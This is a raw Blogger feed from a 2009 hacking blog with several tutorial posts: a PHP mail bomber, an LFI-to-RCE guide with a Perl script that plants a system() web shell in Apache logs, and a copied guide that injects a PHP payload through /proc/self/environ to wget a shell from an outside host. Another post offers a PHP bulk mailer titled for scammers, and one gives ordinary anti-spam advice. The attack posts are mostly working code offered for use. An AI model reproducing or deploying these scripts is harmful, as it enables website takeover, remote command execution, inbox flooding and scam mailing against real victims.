src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-5197929300545961187</id><published>2009-09-05T06:45:00.000-07:00</published><updated>2009-09-05T06:49:05.427-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>mail bomber</title><content type='html'>&lt;br&gt;&lt;/p&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 420px; height: 350px; text-align: left;"&gt;&lt;br&gt;&amp;lt;title&amp;gt;Mail bomber&amp;lt;/title&amp;gt;&lt;br&gt;&amp;lt;table&amp;gt;&amp;lt;form method=post&amp;gt;&lt;br&gt;&amp;lt;input type=hidden value=ok name=ok&amp;gt;&lt;br&gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Dari&amp;lt;td&amp;gt;&amp;lt;input name=dari value="&amp;lt;?echo $dari; ?&amp;gt;"&amp;gt;&lt;br&gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Kepada&amp;lt;td&amp;gt;&amp;lt;input name=kepada value="&amp;lt;?echo $kepada; ?&amp;gt;"&amp;gt;&lt;br&gt;&lt;br&gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Subject&amp;lt;td&amp;gt;&amp;lt;input name=subj value="&amp;lt;?echo $subj; ?&amp;gt;"&amp;gt;&lt;br&gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Jumlah&amp;lt;td&amp;gt;&amp;lt;input name=jumlah value="&amp;lt;?echo $jumlah; ?&amp;gt;"&amp;gt;&lt;br&gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Besar email (KB)&amp;lt;td&amp;gt;&amp;lt;input name=besar value="&amp;lt;?echo $besar; ?&amp;gt;"&amp;gt;&lt;br&gt;&lt;br&gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Isi Pesan&amp;lt;td&amp;gt;&amp;lt;textarea name=pesan&amp;gt;&amp;lt;?echo $pesan?&amp;gt;&amp;lt;/textarea&amp;gt;&lt;br&gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=submit value=Hajar&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/table&amp;gt;&lt;br&gt;&lt;br&gt;&amp;lt;?php&lt;br&gt;$ok        = $_POST['ok'];&lt;br&gt;$dari    = $_POST['dari'];&lt;br&gt;$kepada    = $_POST['kepada'];&lt;br&gt;$jumlah    = $_POST['jumlah'];&lt;br&gt;$besar    = $_POST['besar'];&lt;br&gt;$subj    = $_POST['subj'];&lt;br&gt;$pesan    = $_POST['pesan'];&lt;br&gt;&lt;br&gt;if ($ok=="ok" ) {&lt;br&gt;for ($i=0;$i &amp;lt;$jumlah;$i++) {&lt;br&gt;$a= $i.$dari.$i;&lt;br&gt;$subject = $subj.$i;&lt;br&gt;mail( $kepada,$subject,$pesan.str_repeat(" ", 1024*$besar),"From: $a &amp;lt;$a&amp;gt;\r\n" );&lt;br&gt;} echo ("Selesai Juragan!");&lt;br&gt;}&lt;br&gt;exit;&lt;br&gt;?&amp;gt;&lt;br&gt;&lt;/pre&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-5197929300545961187?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/5197929300545961187/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/mail-bomber.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/5197929300545961187'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/5197929300545961187'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/mail-bomber.html' title='mail bomber'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-5042468734275357178</id><published>2009-09-03T00:46:00.000-07:00</published><updated>2009-09-03T00:48:15.845-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>LFI &amp; RCE</title><content type='html'>- LFI (Local File Inclusion)&lt;br /&gt;- RCE (Remote Code Execution)&lt;br /&gt;&lt;br /&gt;Start !!!&lt;br /&gt;&lt;br /&gt;First we must found patch from httpd.conf in apache usually in:&lt;br /&gt;&lt;br /&gt;/etc/httpd/conf/httpd.conf&lt;br /&gt;&lt;br /&gt;so the exploit form LFI like this :&lt;br /&gt;&lt;br /&gt;http://www.example.com/index.php?file=../../../../../../../../../etc/httpd/conf/httpd.conf&lt;br /&gt;&lt;br /&gt;now we try to found access.log/access_log in httpd.conf, but remember the name of ServerAlias/web &lt;br /&gt;&lt;br /&gt;example :&lt;br /&gt;&lt;br /&gt;&lt;VirtualHost *:80&gt;&lt;br /&gt;    ServerAdmin webmaster@example1.com&lt;br /&gt;    DocumentRoot /home/matthews/httpdocs&lt;br /&gt;    ServerName example1.com&lt;br /&gt;    ServerAlias www.example1.com&lt;br /&gt;    ErrorLog /home/matthews/logs/error.log&lt;br /&gt;    CustomLog /home/matthews/logs/access.log common&lt;br /&gt;&lt;/VirtualHost&gt;&lt;br /&gt;&lt;br /&gt;&lt;VirtualHost *:80&gt;&lt;br /&gt;    ServerAdmin webmaster@example2.com&lt;br /&gt;    DocumentRoot /home/ander/httpdocs&lt;br /&gt;    ServerName example2.com&lt;br /&gt;    ServerAlias www.example2.com&lt;br /&gt;    ErrorLog /home/ander/logs/error.log&lt;br /&gt;    CustomLog /home/ander/logs/access.log common&lt;br /&gt;&lt;/VirtualHost&gt;&lt;br /&gt;&lt;br /&gt;Exploit:&lt;br /&gt;&lt;br /&gt;http://www.example.com/index.php?file=../../../../../../../../../home/matthews/logs/access.log&lt;br /&gt;&lt;br /&gt;or &lt;br /&gt;&lt;br /&gt;http://www.example.com/index.php?file=../../../../../../../../../home/ander/logs/access.log&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;and then , you can save this perl script:&lt;br /&gt;&lt;br /&gt;#==========================================================================================&lt;br /&gt;&lt;br /&gt;use IO::Socket::INET;&lt;br /&gt;&lt;br /&gt;my $host = $ARGV[0];&lt;br /&gt;print "\n [*] Injecting Apache Access Log ...\n";&lt;br /&gt;$sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; $host, PeerPort =&gt; 80, Proto =&gt; "tcp") || die " [!] Can't connect to $host:80!\n";&lt;br /&gt;my $matthews = "&lt;?php if(get_magic_quotes_gpc()){ \$_GET[matthews]=stripslashes(\$_GET[matthews]);} system(\$_GET[matthews]);?&gt;";&lt;br /&gt;print $sock "GET /matthews.m0de.0n ".$matthews." HTTP/1.1\r\n";&lt;br /&gt;print $sock "Host: ".$host."\r\n";&lt;br /&gt;print $sock "Connection: close\r\n\r\n";&lt;br /&gt;close($sock);&lt;br /&gt;&lt;br /&gt;print " [*] Done ...\n";&lt;br /&gt;&lt;br /&gt;#==========================================================================================&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;and then save to your PC (matthews.txt)&lt;br /&gt;&lt;br /&gt;open cmd and write :&lt;br /&gt;&lt;br /&gt;perl natthews.txt www.example1.com       &lt;----- kalo yang mau di inject /home/matthews/logs/access.log&lt;br /&gt;perl matthews.txt www.example2.com       &lt;----- kalo yang mau di inject /home/ander/logs/access.log&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;example&lt;br /&gt;&lt;br /&gt;C:\xpl&gt;perl matthews.txt www.example2.com&lt;br /&gt;&lt;br /&gt; [*] Injecting Apache Access Log ...&lt;br /&gt; [*] Done ...&lt;br /&gt;&lt;br /&gt;if you don't have perl in your computer, you can use manually:&lt;br /&gt;&lt;br /&gt;write in console:&lt;br /&gt;&lt;br /&gt;telnet www.example1.com 80&lt;br /&gt;GET /matthewa.m0de.0n &lt;?php if(get_magic_quotes_gpc()){ $_GET[matthews]=stripslashes($_GET[matthews]);} system($_GET[matthews]);?&gt; HTTP/1.1&lt;br /&gt;&lt;br /&gt;next&lt;br /&gt;&lt;br /&gt;if you inject www.example2.com, then access.log that we open.&lt;br /&gt;&lt;br /&gt;http://www.example.com/index.php?file=../../../../../../../../../home/ander/logs/access.log&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;wait untill loading finish..... and try to find string "matthews.m0de.0n"&lt;br /&gt;if it works, like this :&lt;br /&gt;&lt;br /&gt;"GET /matthews.m0de.0n &lt;br /&gt;Warning: system() [function.system]: Cannot execute a blank command in /home/ander/logs/access.log on line 709&lt;br /&gt;&lt;br /&gt;look this string "Cannot execute a blank command" &lt;----- make sure they can RCE :D&lt;br /&gt;for RCE exploit , like this:&lt;br /&gt;&lt;br /&gt;http://www.example.com/index.php?file=../../../../../../../../../home/ander/logs/access.log&amp;matthews=[CMD]&lt;br /&gt;&lt;br /&gt;finish&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;my blog : http://matthews-diablo.blogspot.com&lt;br /&gt;&lt;br /&gt;thank's for c0li.m0de.0n&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-5042468734275357178?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/5042468734275357178/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/lfi-rce.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/5042468734275357178'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/5042468734275357178'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/lfi-rce.html' title='LFI &amp; RCE'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-595916839924926253</id><published>2009-08-28T06:58:00.000-07:00</published><updated>2009-08-28T07:01:02.353-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Shell via LFI - proc/self/environ method (step by step)</title><content type='html'>&lt;span style="font-weight:bold;"&gt;This article take from http://h4cky0u.org/shell-via-lfi-proc-self-environ-method-step-by-step--t1101.html , so enjoy this article, only for education, thanks for SirGod contact person : sirgod08[at]gmail[dot]com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1 - Introduction&lt;br /&gt;2 - Finding LFI&lt;br /&gt;3 - Checking if proc/self/environ is accessible&lt;br /&gt;4 - Injecting malicious code&lt;br /&gt;5 - Access our shell&lt;br /&gt;6 - Shoutz&lt;br /&gt;&lt;br /&gt;&gt;&gt; 1 - Introduction&lt;br /&gt;&lt;br /&gt;In this tutorial I show you how to get a shell on websites using Local File Inclusion vulnerabilities and&lt;br /&gt;injection malicious code in proc/self/environ.Is a step by step tutorial.&lt;br /&gt;&lt;br /&gt;&gt;&gt; 2 - Finding LFI&lt;br /&gt;&lt;br /&gt;- Now we are going to find a Local File Inclusion vulnerable website.So we found our target,lets check it.&lt;br /&gt;&lt;br /&gt;www.website.com/view.php?page=contact.php&lt;br /&gt;&lt;br /&gt;- Now lets replace contact.php with ../ so the URL will become&lt;br /&gt;&lt;br /&gt;www.website.com/view.php?page=../&lt;br /&gt;&lt;br /&gt;and we got an error&lt;br /&gt;&lt;br /&gt;Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337&lt;br /&gt;&lt;br /&gt;big chances to have a Local File Inclusion vulnerability.Let's go to next step.&lt;br /&gt;&lt;br /&gt;- Now lets check for etc/passwd to see the if is Local File Inclusion vulnerable.Lets make a request :&lt;br /&gt;&lt;br /&gt;www.website.com/view.php?page=../../../etc/passwd&lt;br /&gt;&lt;br /&gt;we got error and no etc/passwd file&lt;br /&gt;&lt;br /&gt;Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337&lt;br /&gt;&lt;br /&gt;so we go more directories up&lt;br /&gt;&lt;br /&gt;www.website.com/view.php?page=../../../../../etc/passwd&lt;br /&gt;&lt;br /&gt;we succesfully included the etc/passwd file.&lt;br /&gt;&lt;br /&gt;root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin&lt;br /&gt;&lt;br /&gt;&gt;&gt; 3 - Checking if proc/self/environ is accessible&lt;br /&gt;&lt;br /&gt;- Now lets see if proc/self/environ is accessible.We replace etc/passwd with proc/self/environ&lt;br /&gt;&lt;br /&gt;www.website.com/view.php?page=../../../ ... lf/environ&lt;br /&gt;&lt;br /&gt;If you get something like&lt;br /&gt;&lt;br /&gt;DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=&lt;br /&gt;Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80&lt;br /&gt;&lt;br /&gt;proc/self/environ is accessible.If you got a blank page,an error proc/self/environ is not accessible or the OS is FreeBSD.&lt;br /&gt;&lt;br /&gt;&gt;&gt; 4 - Injecting malicious code&lt;br /&gt;&lt;br /&gt;- Now let's inject our malicious code in proc/self/environ.How we can do that?We can inject our code in User-Agent HTTP Header.&lt;br /&gt;Use Tamper Data Addon for Firefox to change the User-Agent.Start Tamper Data in Firefox and request the URL :&lt;br /&gt;&lt;br /&gt;www.website.com/view.php?page=../../../ ... lf/environ&lt;br /&gt;&lt;br /&gt;Choose Tamper and in User-Agent filed write the following code :&lt;br /&gt;&lt;br /&gt;&lt;?system('wget http://hack-bay.com/Shells/gny.txt -O shell.php');?&gt;&lt;br /&gt;&lt;br /&gt;Then submit the request.&lt;br /&gt;&lt;br /&gt;Our command will be executed (will download the txt shell from http://hack-bay.com/Shells/gny.txt and will save it as shell.php in the&lt;br /&gt;website directory) through system(), and our shell will be created.If don't work,try exec() because system() can be disabled on the webserver from php.ini.&lt;br /&gt;&lt;br /&gt;&gt;&gt; 5 - Access our shell&lt;br /&gt;&lt;br /&gt;- Now lets check if our malicous code was successfully injected.Lets check if the shell is present.&lt;br /&gt;&lt;br /&gt;www.website.com/shell.php&lt;br /&gt;&lt;br /&gt;Our shell is there.Injection was succesfully.&lt;br /&gt;&lt;br /&gt;&gt;&gt; 6 - Shoutz&lt;br /&gt;&lt;br /&gt;Shoutz to all members of www.insecurity-ro.org and www.h4cky0u.org.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-595916839924926253?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/595916839924926253/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/shell-via-lfi-procselfenviron-method.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/595916839924926253'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/595916839924926253'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/shell-via-lfi-procselfenviron-method.html' title='Shell via LFI - proc/self/environ method (step by step)'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-1192423595877015725</id><published>2009-08-26T20:27:00.000-07:00</published><updated>2009-08-26T20:29:07.688-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>How to Protect an Email Account from SPAM</title><content type='html'>Most of us get SPAM every day. Some of us get more and some little. Even a newly created email account will begin to receive spam just after a few days of it’s creation. Many times we wonder where these spam come from and why? But this question remains unanswered within ourselves. So in this post I will try my best to give every possible information about the spam and will also tell you about how to combat spam.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What is SPAM?&lt;br /&gt;&lt;br /&gt;Spam is the abuse of electronic messaging systems (including most broadcast media, digital delivery systems) to send unsolicited bulk messages indiscriminately. Most widely recognized form of spam is email spam.&lt;br /&gt;&lt;br /&gt;Where do these SPAM come from?&lt;br /&gt;&lt;br /&gt;These spam come only from spammers and never from a legitimate user or a company. These spammers send a single email to hundreds (some times thousands or millions) of email addresses at a time. They either send it manually or use spambots to automate the process of spamming.&lt;br /&gt;&lt;br /&gt;Why do spammers SPAM?&lt;br /&gt;&lt;br /&gt;The main goal of spammers is to send the spam (unsolicited bulk messages) to as many people as possible in order to make profit. For example, John builds a small website to sell an ebook which gives information about weight loss. In order to make sales he needs publicity for his website. Instead of spending money on advertising, John decides to create an email which contains information about his site along with it’s link and send this email to say 100 email addresses in his contact list. If 1 person out of hundred buy this book john gets $10. What if he sends this email to 1000s of email addresses. He gets $100. Imagine, if he sends this email to 1 Million email addresses he gets $100000.&lt;br /&gt;&lt;br /&gt;Now I hope you understood the idea behind spamming. So in order to make money, spammers send their advertising emails to as many people as possible without respecting the recipient’s privacy.&lt;br /&gt;&lt;br /&gt;From where do SPAMmers get my email address?&lt;br /&gt;&lt;br /&gt;On the Internet there exists many sites who collect the email IDs of people and sell them to spammers in bulk. Most often, people sign up for monthly newsletters and take up surveys. This is the time where these scam sites get their email addresses. Also many spammers collect email addresses by using spambots. These spambots collect email addresses from the Internet in order to build mailing lists. Such spambots are web crawlers that can gather email addresses from Web sites, newsgroups, forums, special-interest group (SIG) postings, and chat-room conversations.&lt;br /&gt;&lt;br /&gt;Spammers also use the trick of creating Hoax Emails for gathering a huge list of email IDs. For example, a spammer sends a hoax email which says “Forward this Message to Help Severely Burned Child”. This email claims that 11 cents will be donated to the child’s family every time the message is sent to others. Most of the people believe this and start forwarding this hoax email to all of the IDs in their contact list. In this way the email spreads rapidly and eventually when it reaches the creator (spammer), the spammer gets a huge list of valid email addresses in the email header. When you get these kind of hoax emails, you can see for yourself in the email header which contains a huge list of email addresses of all those people to whom the email is being forwarded to. This is one of the effective methods used by spammers to gather email addresses.&lt;br /&gt;&lt;br /&gt;Is SPAMming legal?&lt;br /&gt;&lt;br /&gt;Spamming is completely illegal. Yet it is really difficult to stop spammers from spamming since they keep moving from one hosting company to another after getting banned. This makes it practically impossible to catch spammers and prosecute them.&lt;br /&gt;&lt;br /&gt;How to protect my email account from getting SPAMmed?&lt;br /&gt;&lt;br /&gt;The following methods can be used to combat email spam.&lt;br /&gt;&lt;br /&gt;1. Use spam filters for your email account. If you’re using email services like Gmail, Yahoo, Hotmail etc. then spam filters are used by defaut. Each spam filter has it’s algorithm to detect spam emails and will automatically move them to SPAM folder. This keeps your inbox free from spam. However some spam emails become successful to make their way into the inbox by successfully bypassing the filters.&lt;br /&gt;&lt;br /&gt;2. Do not post your email address in public forums, user comments and chat-rooms. Give your email address only to trustworthy websites while signing up for newsletters.&lt;br /&gt;&lt;br /&gt;3. While taking up online surveys and filling up feedback forms, it is better not to give your personal email address. Instead singup for a dummy email account and use this for surveys and feedback forms.&lt;br /&gt;&lt;br /&gt;4. While posting your contact email address on your website use this format: emailaddress [at] yoursite.com instead of emailaddress@yoursite.com. This protects your email address from being indexed by spambots.&lt;br /&gt;&lt;br /&gt;5. Do not respond to hoax messages. When you receive a hoax email, avoid forwarding it to your friends. Examples of hoax messages can be found at www.hoax-slayer.com. If you really want to forward it to your friends, make sure that you use “Bcc” (blind certified copy) option to send the email. This will hide all the email IDs to which the mail is forwarded to.&lt;br /&gt;&lt;br /&gt;I hope this helps&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-1192423595877015725?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/1192423595877015725/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/how-to-protect-email-account-from-spam.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/1192423595877015725'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/1192423595877015725'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/how-to-protect-email-account-from-spam.html' title='How to Protect an Email Account from SPAM'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-3885008272148132136</id><published>2009-08-26T20:14:00.000-07:00</published><updated>2009-08-26T20:16:08.302-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>php mailer script for scammer</title><content type='html'>&lt;?&lt;br /&gt;if ($action=="send"){&lt;br /&gt; $message = urlencode($message);&lt;br /&gt; $message = ereg_replace("%5C%22", "%22", $message);&lt;br /&gt; $message = urldecode($message);&lt;br /&gt; $message = stripslashes($message);&lt;br /&gt; $subject = stripslashes($subject);&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;&lt;table&gt;&lt;form name="form1" method="post" action="" enctype="multipart/form-data"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;Your Email: &lt;td&gt;&lt;input type="text" name="from" value="&lt;? print $from; ?&gt;" size="30"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;Your Name : &lt;td&gt;&lt;input type="text" name="realname" value="&lt;? print $realname; ?&gt;" size="30"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;Reply-To : &lt;td&gt;&lt;input type="text" name="replyto" value="&lt;? print $replyto; ?&gt;" size="30"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;Attach File : &lt;td&gt;&lt;input type="file" name="file" size="30"&gt;&lt;br&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;Subject : &lt;td&gt;&lt;input type="text" name="subject" value="&lt;? print $subject; ?&gt;" size="65"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;Message : &lt;td&gt;&lt;textarea name="message" cols="60" rows="10"&gt;&lt;? print $message; ?&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;To : &lt;td&gt;&lt;textarea name="emaillist" cols="33" rows="10"&gt;&lt;? print $emaillist; ?&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;input type="radio" name="contenttype" value="plain" checked&gt;Plain &lt;br /&gt;&lt;input type="radio" name="contenttype" value="html"&gt; HTML &lt;br /&gt;&lt;input type="hidden" name="action" value="send"&gt;&lt;br /&gt;&lt;td&gt;&lt;input type="submit" value="Send eMail"&gt;&lt;br&gt;&lt;br /&gt;&lt;/form&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;?&lt;br /&gt;if ($action=="send"){&lt;br /&gt; if (!$from &amp;&amp; !$subject &amp;&amp; !$message &amp;&amp; !$emaillist){&lt;br /&gt; print "Please complete all fields before sending your message.";&lt;br /&gt; exit;&lt;br /&gt; }&lt;br /&gt; $allemails = split("\n", $emaillist);&lt;br /&gt; $numemails = count($allemails);&lt;br /&gt; #Open the file attachment if any, and base64_encode it for email transport&lt;br /&gt; If ($file_name){&lt;br /&gt;  @copy($file, "./$file_name") or die("The file you are trying to upload couldn't be copied to the server");&lt;br /&gt;  $content = fread(fopen($file,"r"),filesize($file));&lt;br /&gt;  $content = chunk_split(base64_encode($content));&lt;br /&gt;  $uid = strtoupper(md5(uniqid(time())));&lt;br /&gt;  $name = basename($file);&lt;br /&gt; }&lt;br /&gt; for($x=0; $x&lt;$numemails; $x++){&lt;br /&gt;  $to = $allemails[$x];&lt;br /&gt;  if ($to){&lt;br /&gt;  $to = ereg_replace(" ", "", $to);&lt;br /&gt;  $message = ereg_replace("&amp;email&amp;", $to, $message);&lt;br /&gt;  $subject = ereg_replace("&amp;email&amp;", $to, $subject);&lt;br /&gt;  print "Sending mail to $to.......";&lt;br /&gt;  flush();&lt;br /&gt;  $header = "From: $realname &lt;$from&gt;\r\nReply-To: $replyto\r\n";&lt;br /&gt;  $header .= "MIME-Version: 1.0\r\n";&lt;br /&gt;  If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";&lt;br /&gt;  If ($file_name) $header .= "--$uid\r\n";&lt;br /&gt;  $header .= "Content-Type: text/$contenttype\r\n";&lt;br /&gt;  $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";&lt;br /&gt;  $header .= "$message\r\n";&lt;br /&gt;  If ($file_name) $header .= "--$uid\r\n";&lt;br /&gt;  If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";&lt;br /&gt;  If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";&lt;br /&gt;  If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";&lt;br /&gt;  If ($file_name) $header .= "$content\r\n";&lt;br /&gt;  If ($file_name) $header .= "--$uid--";&lt;br /&gt;  mail($to, $subject, "", $header);&lt;br /&gt;  print " Message Sent!&lt;br&gt;";&lt;br /&gt;  flush();&lt;br /&gt;  }&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;exit;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-3885008272148132136?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/3885008272148132136/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/php-mailer-script-for-scammer.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/3885008272148132136'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/3885008272148132136'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/php-mailer-script-for-scammer.html' title='php mailer script for scammer'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image 